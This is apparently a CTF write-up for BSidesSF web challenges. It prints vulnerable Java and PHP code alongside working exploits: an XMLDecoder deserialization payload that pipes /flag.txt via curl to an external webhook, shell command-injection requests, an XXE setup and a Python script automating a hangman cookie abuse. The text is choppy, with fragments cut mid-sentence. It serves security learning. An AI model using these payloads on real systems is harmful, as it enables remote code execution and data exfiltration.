Hack. Eat. Sleep. Repeat!!!
ProfileServlet.java.package com.example.dragon;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.beans.XMLDecoder;
import java.io.IOException;
@WebServlet("/ProfileServlet")
public class ProfileServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/plain");
try {
XMLDecoder decoder = new XMLDecoder(request.getInputStream());
Object dragonData = decoder.readObject();
decoder.close();
response.getWriter().write("Profile received for: " + dragonData.toString());
} catch (Exception e) {
response.getWriter().write("Error processing profile: " + e.getMessage());
}
}
}
XMLDecoder decoder = new XMLDecoder(request.getInputStream());.This class XML Decoder in java is vulnerable to Insecure Deserialization which can lead to RCE.A specially crafted XML payload can be used to invoke arbitrary java classes and methods to trigger RCE on the server.<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /flag.txt | /usr/bin/curl https://www.postb.in/1745777549695-6946147335693 -d @-</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
java.lang.ProcessBuilder which runs the bash binary with -c option to run a statement.Since I can’t get an output, I interacted with a web hook with curl which serves the result of the executed command cat /flag.txt as POST data.CTF{helping-dragons-find-love-since-2025}index.php and detect-dragon.php.The vulnerable point is the detect-dragon.php.<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dragon Detector</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<?php
$ip = $_REQUEST['ip'];
echo "<h1>";
system("bash /app/dragon-detector-ai $ip");
echo "</h1>";
echo '<br><a href="/">Check another IP</a>';
?>
</div>
</body>
</html>
$_REQUEST['ip'] because it gets passed unfiltered to a shell statement in system() and it is not news that system() is vulnerable to command injection.I closed the statement with ; to execute a new command.<?php
$ip = $_REQUEST['ip'];
echo "<h1>";
system("bash /app/dragon-detector-ai $ip");
echo "</h1>";
echo '<br><a href="/">Check another IP</a>';
?>
id-:CTF{tharr-be-draggggons}detect-dragon.<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dragon Detector</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<?php
$ip = $_REQUEST['ip'];
if (str_contains($ip, "\"")) {
echo "<h1>🛑 Invalid IP Address!</h1>";
echo "<p>That doesn't look like a valid IP address. Are you sure that's not a goblin lair?</p>";
echo '<a href="/">Try again</a>';
exit;
}
echo "<h1>";
system("bash /app/dragon-detector-ai \"$ip\"");
echo "</h1>";
echo '<br><a href="/">Check another IP</a>';
?>
</div>
</body>
</html>
" and raises an error if it is in it.if (str_contains($ip, "\"")) {
echo "<h1>🛑 Invalid IP Address!</h1>";
echo "<p>That doesn't look like a valid IP address. Are you sure that's not a goblin lair?</p>";
echo '<a href="/">Try again</a>';
exit;
}
bash /app/dragon-detector-ai \"$ip\" and " is required to close the statement and execute another statemnent.Although there is a walkaround, bash statement can also be executed within $() or backticks.CTF{tharr-be-MORE-draggggons}<!DOCTYPE html>
<?php
error_reporting(E_ALL & ~E_DEPRECATED & ~E_NOTICE);
?>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dragon Evidence</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<h1>Dragon Evidence</h1>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['dragon_file'])) {
$file = $_FILES['dragon_file']['tmp_name'];
// We demand FREEDOM (from secure defaults)
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML(file_get_contents($file), LIBXML_NOENT | LIBXML_DTDLOAD);
echo "<h2>Dragon Evidence Found:</h2>";
echo "<pre>" . htmlspecialchars($dom->saveXML()) . "</pre>";
}
} else {
?>
<p>They said dragons were myths... but we know better.</p>
<p class="fire">Upload your classified XML evidence to expose the truth.</p>
<form class="dragons" method="POST" enctype="multipart/form-data">
<input type="file" name="dragon_file" accept=".xml">
<input type="submit" value="Submit Evidence">
</form>
<?php
}
?>
<footer>
<p>🔥 The truth is out there... 🔥</p>
</footer>
</div>
</body>
</html>
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['dragon_file'])) {
$file = $_FILES['dragon_file']['tmp_name'];
// We demand FREEDOM (from secure defaults)
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML(file_get_contents($file), LIBXML_NOENT | LIBXML_DTDLOAD);
echo "<h2>Dragon Evidence Found:</h2>";
echo "<pre>" . htmlspecialchars($dom->saveXML()) . "</pre>";
}
false which means we can load entities and most importantly read files.libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML(file_get_contents($file), LIBXML_NOENT | LIBXML_DTDLOAD);
CTF{aha-found-em}CTF{hangm4nw1thfr1end5andf03s}<?php
header('Content-Type: application/json');
// Ensure the request method is POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents('php://input');
$data = json_decode($input, true);
// Validate the JSON input
if ($data) {
// Validate
if(!preg_match('/[0-9]*/', $data['gold']) || !preg_match('/[0-9]*/', $data['gems']) || !preg_match('/[0-9]*/', $data['artifacts'])) {
echo json_encode([
"status" => "error",
"message" => "Fire-scorched parchment detected - invalid submission"
]);
exit(1);
} else {
if($data['hoardType'] == 'gold') {
$valuation = $data['gold'] * 100;
} elseif($data['hoardType'] == 'gemstone') {
$valuation = $data['gems'] * 1000;
} elseif($data['hoardType'] == 'artifact') {
$valuation = shell_exec("/app/valuate-hoard '" . $data['gold'] . "' '" . $data['gems'] . "' '" . $data['artifacts'] . "'");
} else {
http_response_code(400);
echo json_encode([
"status" => "error",
"message" => "Fire-scorched parchment detected - invalid submission"
]);
exit(1);
}
echo json_encode([
"status" => "success",
"message" => "Hoard valuation logged and valued at <tt>$valuation</tt>"
]);
}
} else {
// Handle invalid JSON input
http_response_code(400);
echo json_encode([
"status" => "error",
"message" => "Fire-scorched parchment detected - invalid submission"
]);
}
} else {
// Handle non-POST requests
http_response_code(405); // Method Not Allowed
echo json_encode([
"status" => "error",
"message" => "Only POST requests are allowed for hoard valuation"
]);
}
?>
backend.php takes in json body as data and checks if the json keys gold,gems and artifacts are present.Lastly, the hoardType must be set.if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents('php://input');
$data = json_decode($input, true);
// Validate the JSON input
if ($data) {
// Validate
if(!preg_match('/[0-9]*/', $data['gold']) || !preg_match('/[0-9]*/', $data['gems']) || !preg_match('/[0-9]*/', $data['artifacts'])) {
echo json_encode([
"status" => "error",
"message" => "Fire-scorched parchment detected - invalid submission"
]);
exit(1);
hoardType artifacts because it gets passed to a shell statement.shell_exec("/app/valuate-hoard '" . $data['gold'] . "' '" . $data['gems'] . "' '" . $data['artifacts'] . "'");
$() because of the double quotes.Everything passed will be treated as a string.e,gHP@H-DOLAPO22 MINGW64 ~/Downloads/Telegram Desktop
$ /app/valuate-hoard '$data['gold']' '$data['gems']' 'data['artifacts']'
' with ' in param gold, then we will pass our statement with $() and use # to comment the other statement which will not be executed.The whole idea-:'$(ls) #
CTF{a-dragons-hoard-is-all-he-has-dont-take-it-away}
┌──(root💀lulz-PhotoAuto)-[~]
└─# curl https://hoard-049015ac.challenges.bsidessf.net/backend.php -H "Content-Type: application/json" -d $'{"gold":"\';cat /flag.txt;#","gems":"1000","artifacts":"1000","hoardType":"artifact"}'
{"status":"success","message":"Hoard valuation logged and valued at <tt>Usage: \/app\/valuate-hoard num1 num2 num3\nCTF{a-dragons-hoard-is-all-he-has-dont-take-it-away}\n<\/tt>"}
picture.php with parameter file to read files.This page is vulnerable to Arbitrary File Read./flag.txt.')--+ to close the statement and got the flag.CTF{those-are-the-types-of-dragons}admin:admin but there is a slight twist.Let’s check the source code-:<?php
$correct_username = 'admin';
$correct_password = 'admin';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$encoded_creds = $_REQUEST['encoded_creds'] ?? '';
if(str_contains($encoded_creds, 'YWRtaW46YWRtaW4')) {
$error_message = "AHA! We are aware that that password has been leaked! CAUGHT YOU!!";
} else {
$decoded_creds = base64_decode($encoded_creds);
$creds_parts = explode(':', $decoded_creds);
if (count($creds_parts) !== 2) {
$error_message = '⚠️ Invalid authentication runes! Dragon peril persists...';
} else {
$username = $creds_parts[0];
$password = $creds_parts[1];
if ($username === $correct_username && $password == $correct_password) {
$flag = file_get_contents("/flag.txt");
$success_message = "Congratulations! Your flag is <tt>$flag</tt>";
} else {
$error_message = '⚡ Authentication failed! Dragon extinction counter: ░░░░░░░░░░] 90%';
}
}
}
}
?>
$_POST['encoded_creds'] and checks if the string contains YWRtaW46YWRtaW4 which is the base64 encoded value for admin:admin which means we can’t login with creds admin:admin.\,==,+and =.If we can sneak in \ or +,we will bypass the filter and get the flag.I tried placing \ after some of the characters to check if it successfully decoded to admin:admin.I got it the second time.CTF{i-saved-the-dragons-and-all-i-got-was-this-stupid-flag}live_lost updated to 1.What if we interact with the endpoint /guess solely without updating the cookie and using our single live_lost: 0 cookie.We should be able to fuzz the word and return back to home for the flag.live_lost: 0 cookie and return back to endpoint /home to get the flag.#! /usr/bin/env python3
import requests
import random
import string
import json
def createAccount() -> tuple:
req = requests.Session()
url="https://hangman-three-464d3964.challenges.bsidessf.net/"
print("[+] Creating account")
#registering
username: str = ''.join(random.choices(string.ascii_lowercase,k=4))
password: str = ''.join(random.choices(string.ascii_lowercase,k=4))
register_data = {"username":username,"password":password,"confirm":password,"submit":"Register"}
login_data = {"username":username,"password":password,"confirm":password,"submit":"Login"}
req.post(url+"register",data=register_data).text
csrf_token = req.post(url+"login",data=login_data).text.split('<input id="csrf_token" name="csrf_token" type="hidden" value="')[1].split("\">")[0]
print(f"[+] csrf_token: {csrf_token}")
raw_cookie=req.cookies.get_dict()
cookie= f"access_token_cookie={raw_cookie['access_token_cookie']};session={raw_cookie['session']}"
print(f"Cookie is {cookie}")
return cookie,csrf_token
def send_char(cookie,csrf_token,letter) -> None:
url="https://hangman-three-464d3964.challenges.bsidessf.net/"
headers = {"Referer":"https://hangman-three-464d3964.challenges.bsidessf.net/home?message=Letter:e+not+present","Cookie": cookie}
data = {"csrf_token":csrf_token,"letter":letter}
reply = requests.post(url+"guess",data=data,headers=headers,allow_redirects=False).text
def main():
url = "https://hangman-three-464d3964.challenges.bsidessf.net/"
charset = string.ascii_lowercase + string.digits
cookie,csrf_token = createAccount()
headers = {"Cookie": cookie}
for i in charset:
send_char(cookie,csrf_token,i)
flag=requests.get(url+"home",headers=headers).text.split("<strong> The flag is:")[1].split(" </strong>")[0]
print(f"[+] Flag is {flag}")
if __name__ == "__main__":
main()
CTF{hangm4nW1thW3akJWTK3y}